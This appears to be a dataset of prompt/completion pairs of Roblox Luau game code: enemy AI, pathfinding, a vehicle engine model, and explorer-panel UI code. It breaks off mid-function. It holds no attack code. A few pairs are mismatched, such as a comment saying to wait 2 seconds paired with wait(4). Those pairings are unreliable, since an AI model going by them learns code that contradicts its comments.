prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Enemy AI system
follow.Event:Connect(require(enemyFunctions).Follow) while true do local enemiesToConsider = {} for _,player in pairs(players:GetChildren()) do -- Adds all enemies in loaded areas to the considered table if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then if player:FindFirstChild("Stats") and player.Stats:FindFirstChild("CurrentArea") and player.Stats.CurrentArea.Value then local enemiesFolder = player.Stats.CurrentArea.Value:FindFirstChild("Enemies") if enemiesFolder then for _,enemy in pairs(enemiesFolder:GetChildren()) do if not table.find(enemiesToConsider, enemy) then table.insert(enemiesToConsider, enemy) end end end end end end for _,enemy in pairs(enemiesToConsider) do local closestPlayer = require(enemyFunctions).FindClosestPlayer(enemy, true) if closestPlayer then if closestPlayer.Character then local rootPart = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if rootPart then follow:Fire(enemy, rootPart) end end elseif enemy:FindFirstChild("Stats") and enemy.Stats:FindFirstChild("OriginalPosition") then enemy.EnemyHumanoid:MoveTo(enemy.Stats.OriginalPosition.Value) end end wait() end
--[=[ @within TableUtil @function FlatMap @param tbl table @param predicate (key: any, value: any, tbl: table) -> newValue: any @return table Calls `TableUtil.Map` on the given table and predicate, and then calls `TableUtil.Flat` on the result from the map operation. ```lua local t = {10, 20, 30} local result = TableUtil.FlatMap(t, function(value) return {value, value * 2} end) print(result) --> {10, 20, 20, 40, 30, 60} ``` :::note Arrays only This function works on arrays, but not dictionaries. ]=]
local function FlatMap(tbl: Table, callback: MapPredicate): Table return Flat(Map(tbl, callback)) end
--tool = script.Parent.Pistol
function Die() --if tool ~= nil then tool:remove() end game.workspace.Scripts.WaveScript.Dead_Zombies.Value = game.workspace.Scripts.WaveScript.Dead_Zombies.Value + 1 wait(2.5) script.Parent:remove() end human.Died:connect(Die)
--CHANGE THIS TO FALSE IF YOU DO NOT WANT TO SUPPORT THE CREATOR WITH ADVERTISEMENTS.
-- Espera 2 segundos antes de reproducir el sonido
wait(4)
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
local toolAnimName = "" local toolAnimTrack = nil local toolAnimInstance = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then playToolAnimation(toolAnimName, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid, priority) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim if (toolAnimInstance ~= anim) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) if priority then toolAnimTrack.Priority = priority end -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName toolAnimInstance = anim currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" toolAnimInstance = nil if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--Made by Aurarus--
currency = "Swing" -- Change Gold to the currency you want to give amnt = 250 -- Change 50 to the amount of money you want to give debounce = false -- Don't change this function onTouch(hit) if hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == false then if game.Players:findFirstChild(hit.Parent.Name) ~= nil then ThisPlayer = game.Players:findFirstChild(hit.Parent.Name) ThisPlayer.leaderstats:findFirstChild(currency).Value = ThisPlayer.leaderstats:findFirstChild(currency).Value + amnt script.Parent.Transparency = 1 script.Parent.CanCollide = false debounce = true wait(500) -- Respawn time for the cash giver script.Parent.Transparency = 0 script.Parent.CanCollide = true debounce = false end end end script.Parent.Touched:connect(onTouch)
--[[ \\\ Returns a consistant UID from a string, based on an additive string.byte per character Functions.StringByte( string, <-- |REQ| String ) --]]
return function(str) --- Vars local int = 0 --- Convert each character to byte and add it up for i = 1, string.len(str) do int = int + string.byte(string.sub(str, i, i)) end -- return int end
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 --Horsepower Curve local fgc_h=_Tune.Horsepower/100 local fgc_n=_Tune.PeakRPM/1000 local fgc_a=_Tune.PeakSharpness local fgc_c=_Tune.CurveMult function FGC(x) x=x/1000 return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1)))) end local PeakFGC = FGC(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling end --Output Cache local CacheTorque = true local HPCache = {} local HPInc = 100 if CacheTorque then for gear,ratio in pairs(_Tune.Ratios) do local hpPlot = {} for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do local tqPlot = {} tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2) tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000) tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000) hpPlot[rpm] = tqPlot end table.insert(HPCache,hpPlot) end end --Powertrain --Update RPM function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end --Apply Power function Engine() --Get Torque local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then if CacheTorque then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)] _HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000) _OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000) else _HP,_OutTorque = GetCurve(_RPM,_CGear) end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) else _HP,_OutTorque = 0,0 end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 0 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 0 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not car.DriveSeat.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- PUT THIS SCRIPT INTO THE "ServerScriptService" SO IT'S SAFER! -- Afterwards, drag a gear/item into a Team in the "Teams" folder, and anyone on that team will have it.
function teamFromColor(color) for _,t in pairs(game:GetService("Teams"):GetChildren()) do if t.TeamColor==color then return t end end return nil end function onSpawned(plr) local tools = teamFromColor(plr.TeamColor):GetChildren() for _,c in pairs(tools) do c:Clone().Parent = plr.Backpack end end function onChanged(prop,plr) if prop=="Character" then onSpawned(plr) end end function onAdded(plr) plr.Changed:connect(function(prop) onChanged(prop,plr) end) end game.Players.PlayerAdded:connect(onAdded)
-----------------------------------PATHER--------------------------------------
local function CreateDestinationIndicator(pos) local destinationGlobe = Create'Part' { Name = 'PathGlobe'; TopSurface = 'Smooth'; BottomSurface = 'Smooth'; Shape = 'Ball'; CanCollide = false; Size = Vector3_new(2,2,2); BrickColor = BrickColor.new('Institutional white'); Transparency = 0; Anchored = true; CFrame = CFrame.new(pos); } return destinationGlobe end local function Pather(character, point) local this = {} this.Cancelled = false this.Started = false this.Finished = Signal.Create() this.PathFailed = Signal.Create() this.PathStarted = Signal.Create() this.PathComputed = false function this:YieldUntilPointReached(character, point, timeout) timeout = timeout or 10000000 local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso local start = tick() local lastMoveTo = start while torso and tick() - start < timeout and this.Cancelled == false do local diffVector = (point - torso.CFrame.p) local xzMagnitude = (diffVector * XZ_VECTOR3).magnitude if xzMagnitude < 6 then -- Jump if the path is telling is to go upwards if diffVector.Y >= 2.2 then humanoid.Jump = true end end -- The hard-coded number 2 here is from the engine's MoveTo implementation if xzMagnitude < 2 then return true end -- Keep on issuing the move command because it will automatically quit every so often. if tick() - lastMoveTo > 1.5 then humanoid:MoveTo(point) lastMoveTo = tick() end CharacterControl:UpdateTorso(point) task.wait() end return false end function this:Cancel() this.Cancelled = true local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if humanoid and torso then humanoid:MoveTo(torso.CFrame.p) end end function this:CheckOcclusion(point1, point2, character, torsoRadius) local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if torsoRadius == nil then torsoRadius = torso and Vector3_new(torso.Size.X/2,0,torso.Size.Z/2) or XZ_VECTOR3 end local diffVector = point2 - point1 local directionVector = diffVector.unit local rightVector = Y_VECTOR3:Cross(directionVector) * torsoRadius local rightPart, _ = Utility.Raycast(Ray.new(point1 + rightVector, diffVector + rightVector), true, {character}) local hitPart, _ = Utility.Raycast(Ray.new(point1, diffVector), true, {character}) local leftPart, _ = Utility.Raycast(Ray.new(point1 - rightVector, diffVector - rightVector), true, {character}) if rightPart or hitPart or leftPart then return false end -- Make sure we have somewhere to stand on local midPt = (point2 + point1) / 2 local studsBetweenSamples = 2 for i = 1, math_floor(diffVector.magnitude/studsBetweenSamples) do local downPart, _ = Utility.Raycast(Ray.new(point1 + directionVector * i * studsBetweenSamples, Vector3_new(0,-7,0)), true, {character}) if not downPart then return false end end return true end function this:SmoothPoints(pathToSmooth) local result = {} local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso for i = 1, #pathToSmooth do table.insert(result, pathToSmooth[i]) end -- Backwards for safe-deletion for i = #result - 1, 1, -1 do if i + 1 <= #result then local nextPoint = result[i+1] local thisPoint = result[i] local lastPoint = result[i-1] if lastPoint == nil then lastPoint = torso and Vector3_new(torso.CFrame.p.X, thisPoint.Y, torso.CFrame.p.Z) end if lastPoint and Utility.FuzzyEquals(thisPoint.Y, lastPoint.Y) and Utility.FuzzyEquals(thisPoint.Y, nextPoint.Y) then if this:CheckOcclusion(lastPoint, nextPoint, character) then table.remove(result, i) -- Move i back one to recursively-smooth i = i + 1 end end end end return result end function this:CheckNeighboringCells(character) local pathablePoints = {} local humanoid = findPlayerHumanoid(Player) local torso = character and humanoid and humanoid.Torso if torso then local torsoCFrame = torso.CFrame local torsoPos = torsoCFrame.p -- Minus and plus 2 is so we can get it into the cell-corner space and then translate it back into cell-center space local roundedPos = Vector3_new(Utility.Round(torsoPos.X-2,4)+2, Utility.Round(torsoPos.Y-2,4)+2, Utility.Round(torsoPos.Z-2,4)+2) local neighboringCells = {} for x = -4, 4, 8 do for z = -4, 4, 8 do table.insert(neighboringCells, roundedPos + Vector3_new(x,0,z)) end end for _, testPoint in pairs(neighboringCells) do local pathable = this:CheckOcclusion(roundedPos, testPoint, character, ZERO_VECTOR3) if pathable then table.insert(pathablePoints, testPoint) end end end return pathablePoints end function this:ComputeDirectPath() local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if torso then local startPt = torso.CFrame.p local finishPt = point if (finishPt - startPt).magnitude < 150 then -- move back the destination by 2 studs or otherwise the pather will collide with the object we are trying to reach finishPt = finishPt - (finishPt - startPt).unit * 2 if this:CheckOcclusion(startPt, finishPt, character, ZERO_VECTOR3) then local pathResult = {} pathResult.Status = Enum.PathStatus.Success function pathResult:GetPointCoordinates() return {finishPt} end return pathResult end end end end local function AllAxisInThreshhold(targetPt, otherPt, threshold) return math_abs(targetPt.X - otherPt.X) <= threshold and math_abs(targetPt.Y - otherPt.Y) <= threshold and math_abs(targetPt.Z - otherPt.Z) <= threshold end function this:ComputePath() local smoothed = false local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso if torso then if this.PathComputed then return end this.PathComputed = true -- Will yield the script since it is an Async script (start, finish, maxDistance) -- Try to use the smooth function, but it may not exist yet :( local success = pcall(function() -- 3 is height from torso cframe to ground this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p - Vector3_new(0,3,0), point, 400) smoothed = true end) if not success then -- 3 is height from torso cframe to ground this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p - Vector3_new(0,3,0), point, 400) smoothed = false end this.pointList = this.pathResult and this.pathResult:GetPointCoordinates() local pathFound = false if this.pathResult.Status == Enum.PathStatus.FailFinishNotEmpty then -- Lets try again with a slightly set back start point; it is ok to do this again so the FailFinishNotEmpty uses little computation local diffVector = point - workspace.CurrentCamera.CoordinateFrame.p if diffVector.magnitude > 2 then local setBackPoint = point - (diffVector).unit * 2.1 local success = pcall(function() this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p, setBackPoint, 400) smoothed = true end) if not success then this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p, setBackPoint, 400) smoothed = false end this.pointList = this.pathResult and this.pathResult:GetPointCoordinates() pathFound = true end end if this.pathResult.Status == Enum.PathStatus.ClosestNoPath and #this.pointList >= 1 and pathFound == false then local otherPt = this.pointList[#this.pointList] if AllAxisInThreshhold(point, otherPt, 4) and (torso.CFrame.p - point).magnitude > (otherPt - point).magnitude then local pathResult = {} pathResult.Status = Enum.PathStatus.Success function pathResult:GetPointCoordinates() return {this.pointList} end this.pathResult = pathResult pathFound = true end end if (this.pathResult.Status == Enum.PathStatus.FailStartNotEmpty or this.pathResult.Status == Enum.PathStatus.ClosestNoPath) and pathFound == false then local pathablePoints = this:CheckNeighboringCells(character) for _, otherStart in pairs(pathablePoints) do local pathResult; local success = pcall(function() pathResult = PathfindingService:ComputeSmoothPathAsync(otherStart, point, 400) smoothed = true end) if not success then pathResult = PathfindingService:ComputeRawPathAsync(otherStart, point, 400) smoothed = false end if pathResult and pathResult.Status == Enum.PathStatus.Success then this.pathResult = pathResult if this.pathResult then this.pointList = this.pathResult:GetPointCoordinates() table.insert(this.pointList, 1, otherStart) end break end end end if DirectPathEnabled then if this.pathResult.Status ~= Enum.PathStatus.Success then local directPathResult = this:ComputeDirectPath() if directPathResult and directPathResult.Status == Enum.PathStatus.Success then this.pathResult = directPathResult this.pointList = directPathResult:GetPointCoordinates() end end end end return smoothed end function this:IsValidPath() this:ComputePath() local pathStatus = this.pathResult.Status return pathStatus == Enum.PathStatus.Success end function this:GetPathStatus() this:ComputePath() return this.pathResult.Status end function this:Start() if CurrentSeatPart then return end spawn(function() local humanoid = findPlayerHumanoid(Player) --humanoid.AutoRotate = false local torso = humanoid and humanoid.Torso if torso then if this.Started then return end this.Started = true -- Will yield the script since it is an Async function script (start, finish, maxDistance) local smoothed = this:ComputePath() if this:IsValidPath() then this.PathStarted:fire() -- smooth out zig-zaggy paths local smoothPath = smoothed and this.pointList or this:SmoothPoints(this.pointList) for i, point in pairs(smoothPath) do if humanoid then if this.Cancelled then return end local wayPoint = nil if SHOW_PATH then wayPoint = CreateDestinationIndicator(point) wayPoint.BrickColor = BrickColor.new("New Yeller") wayPoint.Parent = workspace print(wayPoint.CFrame.p) end humanoid:MoveTo(point) local distance = ((torso.CFrame.p - point) * XZ_VECTOR3).magnitude local approxTime = 10 if math_abs(humanoid.WalkSpeed) > 0 then approxTime = distance / math_abs(humanoid.WalkSpeed) end local yielding = true if i == 1 then --local rotatedCFrame = CameraModule:LookAtPreserveHeight(point) if CameraModule then local rotatedCFrame = CameraModule:LookAtPreserveHeight(smoothPath[#smoothPath]) local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame) end --CharacterControl:SetTorsoLookPoint(point) end ---[[ if (humanoid.Torso.CFrame.p - point).magnitude > 9 then spawn(function() while yielding and this.Cancelled == false do if CameraModule then local look = CameraModule:GetCameraLook() local squashedLook = (look * XZ_VECTOR3).unit local direction = ((point - CameraModule.cframe.p) * XZ_VECTOR3).unit local theta = math_deg(math_acos(squashedLook:Dot(direction))) if tick() - Utility.GetLastInput() > 2 and theta > (workspace.CurrentCamera.FieldOfView / 2) then local rotatedCFrame = CameraModule:LookAtPreserveHeight(point) local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame) --return end end task.wait(0.1) end end) end --]] local didReach = this:YieldUntilPointReached(character, point, approxTime * 3 + 1) yielding = false if SHOW_PATH then wayPoint:Destroy() end if not didReach then this.PathFailed:fire() return end end end this.Finished:fire() return end end this.PathFailed:fire() end) end return this end
-- Matches objects to their tree node representation.
local NodeLookup = {} local nodeWidth = 0 local QuickButtons = {} function filteringWorkspace() if explorerFilter.Text ~= "" and explorerFilter.Text ~= "Filter Workspace" then return true end return false end function lookForAName(obj,name) for i,v in pairs(obj:GetChildren()) do if string.find(string.lower(v.Name),string.lower(name)) then nameScanned = true end lookForAName(v,name) end end function scanName(obj) nameScanned = false if string.find(string.lower(obj.Name),string.lower(explorerFilter.Text)) then nameScanned = true else lookForAName(obj,explorerFilter.Text) end return nameScanned end function updateActions() for i,v in pairs(QuickButtons) do if v.Cond() then v.Toggle(true) else v.Toggle(false) end end end local updateList,rawUpdateList,updateScroll,rawUpdateSize do local function r(t) for i = 1,#t do if not filteringWorkspace() or scanName(t[i].Object) then TreeList[#TreeList+1] = t[i] local w = (t[i].Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(t[i].Object.Name) + 4 if w > nodeWidth then nodeWidth = w end if t[i].Expanded or filteringWorkspace() then r(t[i]) end end end end function rawUpdateSize() scrollBarH.TotalSpace = nodeWidth scrollBarH.VisibleSpace = listFrame.AbsoluteSize.x scrollBarH:Update() local visible = scrollBarH:CanScrollDown() or scrollBarH:CanScrollUp() scrollBarH.GUI.Visible = visible listFrame.Size = UDim2.new(1,-GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE) scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND) scrollBar.GUI.Size = UDim2.new(0,GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE) scrollBar.TotalSpace = #TreeList+1 scrollBar:Update() end function rawUpdateList() -- Clear then repopulate the entire list. It appears to be fast enough. TreeList = {} nodeWidth = 0 r(NodeLookup[workspace.Parent]) if DexStorageEnabled then r(NodeLookup[DexStorage]) end if NilStorageEnabled then r(NodeLookup[NilStorage]) end rawUpdateSize() updateActions() end -- Adding or removing large models will cause many updates to occur. We -- can reduce the number of updates by creating a delay, then dropping any -- updates that occur during the delay. local updatingList = false function updateList() if updatingList then return end updatingList = true wait(0.25) updatingList = false rawUpdateList() end local updatingScroll = false function updateScroll() if updatingScroll then return end updatingScroll = true wait(0.25) updatingScroll = false scrollBar:Update() end end local Selection do local bindGetSelection = explorerPanel:FindFirstChild("GetSelection") if not bindGetSelection then bindGetSelection = Create('BindableFunction',{Name = "GetSelection"}) bindGetSelection.Parent = explorerPanel end local bindSetSelection = explorerPanel:FindFirstChild("SetSelection") if not bindSetSelection then bindSetSelection = Create('BindableFunction',{Name = "SetSelection"}) bindSetSelection.Parent = explorerPanel end local bindSelectionChanged = explorerPanel:FindFirstChild("SelectionChanged") if not bindSelectionChanged then bindSelectionChanged = Create('BindableEvent',{Name = "SelectionChanged"}) bindSelectionChanged.Parent = explorerPanel end local SelectionList = {} local SelectionSet = {} local Updates = true Selection = { Selected = SelectionSet; List = SelectionList; } local function addObject(object) -- list update local lupdate = false -- scroll update local supdate = false if not SelectionSet[object] then local node = NodeLookup[object] if node then table.insert(SelectionList,object) SelectionSet[object] = true node.Selected = true -- expand all ancestors so that selected node becomes visible node = node.Parent while node do if not node.Expanded then node.Expanded = true lupdate = true end node = node.Parent end supdate = true end end return lupdate,supdate end function Selection:Set(objects) local lupdate = false local supdate = false if #SelectionList > 0 then for i = 1,#SelectionList do local object = SelectionList[i] local node = NodeLookup[object] if node then node.Selected = false SelectionSet[object] = nil end end SelectionList = {} Selection.List = SelectionList supdate = true end for i = 1,#objects do local l,s = addObject(objects[i]) lupdate = l or lupdate supdate = s or supdate end if lupdate then rawUpdateList() supdate = true elseif supdate then scrollBar:Update() end if supdate then bindSelectionChanged:Fire() updateActions() end end function Selection:Add(object) local l,s = addObject(object) if l then rawUpdateList() if Updates then bindSelectionChanged:Fire() updateActions() end elseif s then scrollBar:Update() if Updates then bindSelectionChanged:Fire() updateActions() end end end function Selection:StopUpdates() Updates = false end function Selection:ResumeUpdates() Updates = true bindSelectionChanged:Fire() updateActions() end function Selection:Remove(object,noupdate) if SelectionSet[object] then local node = NodeLookup[object] if node then node.Selected = false SelectionSet[object] = nil for i = 1,#SelectionList do if SelectionList[i] == object then table.remove(SelectionList,i) break end end if not noupdate then scrollBar:Update() end bindSelectionChanged:Fire() updateActions() end end end function Selection:Get() local list = {} for i = 1,#SelectionList do list[i] = SelectionList[i] end return list end bindSetSelection.OnInvoke = function(...) Selection:Set(...) end bindGetSelection.OnInvoke = function() return Selection:Get() end end function CreateCaution(title,msg) local newCaution = CautionWindow:Clone() newCaution.Title.Text = title newCaution.MainWindow.Desc.Text = msg newCaution.Parent = explorerPanel.Parent newCaution.Visible = true newCaution.MainWindow.Ok.MouseButton1Up:connect(function() newCaution:Destroy() end) end function CreateTableCaution(title,msg) if type(msg) ~= "table" then return CreateCaution(title,tostring(msg)) end local newCaution = TableCautionWindow:Clone() newCaution.Title.Text = title local TableList = newCaution.MainWindow.TableResults local TableTemplate = newCaution.MainWindow.TableTemplate for i,v in pairs(msg) do local newResult = TableTemplate:Clone() newResult.Type.Text = type(v) newResult.Value.Text = tostring(v) newResult.Position = UDim2.new(0,0,0,#TableList:GetChildren() * 20) newResult.Parent = TableList TableList.CanvasSize = UDim2.new(0,0,0,#TableList:GetChildren() * 20) newResult.Visible = true end newCaution.Parent = explorerPanel.Parent newCaution.Visible = true newCaution.MainWindow.Ok.MouseButton1Up:connect(function() newCaution:Destroy() end) end local function Split(str, delimiter) local start = 1 local t = {} while true do local pos = string.find (str, delimiter, start, true) if not pos then break end table.insert (t, string.sub (str, start, pos - 1)) start = pos + string.len (delimiter) end table.insert (t, string.sub (str, start)) return t end local function ToValue(value,type) if type == "Vector2" then local list = Split(value,",") if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return Vector2.new(x,y) elseif type == "Vector3" then local list = Split(value,",") if #list < 3 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 local z = tonumber(list[3]) or 0 return Vector3.new(x,y,z) elseif type == "Color3" then local list = Split(value,",") if #list < 3 then return nil end local r = tonumber(list[1]) or 0 local g = tonumber(list[2]) or 0 local b = tonumber(list[3]) or 0 return Color3.new(r/255,g/255, b/255) elseif type == "UDim2" then local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",") if #list < 4 then return nil end local xScale = tonumber(list[1]) or 0 local xOffset = tonumber(list[2]) or 0 local yScale = tonumber(list[3]) or 0 local yOffset = tonumber(list[4]) or 0 return UDim2.new(xScale, xOffset, yScale, yOffset) elseif type == "Number" then return tonumber(value) elseif type == "String" then return value elseif type == "NumberRange" then local list = Split(value,",") if #list == 1 then if 